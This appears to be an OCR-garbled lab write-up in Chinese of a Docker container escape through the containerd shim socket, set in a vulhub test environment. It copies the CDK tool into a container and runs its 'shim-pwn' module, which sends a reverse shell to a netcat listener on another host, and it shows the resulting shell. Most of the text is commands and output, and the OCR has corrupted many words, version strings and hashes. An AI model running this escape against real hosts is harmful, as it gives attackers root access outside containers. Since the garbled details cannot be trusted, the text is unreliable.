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docker WA & FE :

Server: Docker Engine - Community

Engine:

Version: 19.03.12

API version: 1.40 (minimum version 1.12)

Go version: gol.13.10

Git commit: 48a66213fe

Built: Mon Jun 22 15:44:07 2020

0S/Arch: linux/amd64

Experimental: false

containerd:

Version: 1.2.13

GitCommit: 7adlB84331Ta3e55e52.b85%0ea%5e65bas81ae3429
. Tunc:

Version: 1.0.0-rc10

GitCommit: dc9208a3303feef5b38397f4323d9beb36dfPaodd

docker-init:

Version: 0.18.0

GitCommit: fec36ss
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%% docker 18 E AL A AZ R A

shuimu@shuimu-virtual-machine:—fﬁ%ﬁﬁfuulhub-ma&ters uname -a

Linux shuimu-virtual-machine 5.4.0-42-aeneric #46~18,84.1-Ubuntu SMP Fri Jul 10
87:21:24 UTC 2020|xB6 64 x86 64 x86 64 GNU/Linux
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cdk darwi  cdk freeb  cdk freeb  cdk freel| | cdk linux_ Fdk linux_  cdk linux_  cdk linux_  cdk linux_  cdk linux_ cdk_linux_  edk_linux_
namd64  sd 386  sd_amd64  sd_arm 386 amd64 arm mips mips64  mipsédle  mipsle $390x

docker cp cdk linux 386 Z& # ID:/tmp

shuimu@shuimu-virtual-machine: = Lhub- er$ docker cp cdk_linux_ 386 f42b

docker ps & Y[ IE TR 4 :

shuimu@shuimu-virtual-machine:—fﬁiﬁﬁfvulhub master$ docker ps

CONTAINER ID IMAGE COMMAND CREATED

STATLIS PORTS MAMES

F42b39f8c119 ubuntu:18.084 "fbin/bash" 58 minutes ago

Up 58 minutes laughing_pike
e612b748f5a7 vulhub/weblogic "startWebLogic.sh" 4 months ago
Up 2 days 5556 /tcp, ©.0.0.0:7001-=7801/tcp cve-2017-10271_weblogic_

HNFER, poc TEFENFEGF:

shuimu@shuimu-virtual-machine:—fﬁ%ﬁﬁfvulhub- aster$ docker exec -it f42b39f8c119
/bin/bash
root@shuimu-virtual-machine: /# 1s

root@shuimu-virtual-machine: /tmp# 1s
cdk_linux_386

0x04 JRiF &
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./cdk linux 386 run shim—pwn 192.168. 254. 132 6666

root@shuimu-virtual-machine: /tmp# ./cdk linux 386 run shim-pwn 192.168.254.132 6
2020/12/31 11:15:52 tring to spawn shell to 192.168.254.132:6666

2020/12/31 11:15:52 try socket: @/containerd-shim/moby/e612b748f5a75eec063df4boa
4d9dcP2e55275e95a37212992caB663F4955F26 /shim.sock

; # nc -lvp 6666
listening on [any] 6666 ...
192.168.254.139: inverse host lookup failed: Unknown host

connect to [192.168.254.132] from (UNKNOWN) [192.168.254.139] 53702

bash: cannot set terminal process group (4577): Inappropriate ioctl for device
bash: no job control in this shell
<c8e3c464521acdch78c4493c3e62581d95bc08/merged/tmp#t whoami

whoami

0x05 & 7 &
# 7% containerd & ®HTIR A,



0x06 &%

T

S &

https://blog. csdn. net/weixin 45728976/article/details/110452543
https://blog. csdn. net/weixin 45728976/article/details/110694414
https://mp. weixin. qq. com/s/4VP1el19F2gKmhrMrgYKroQ



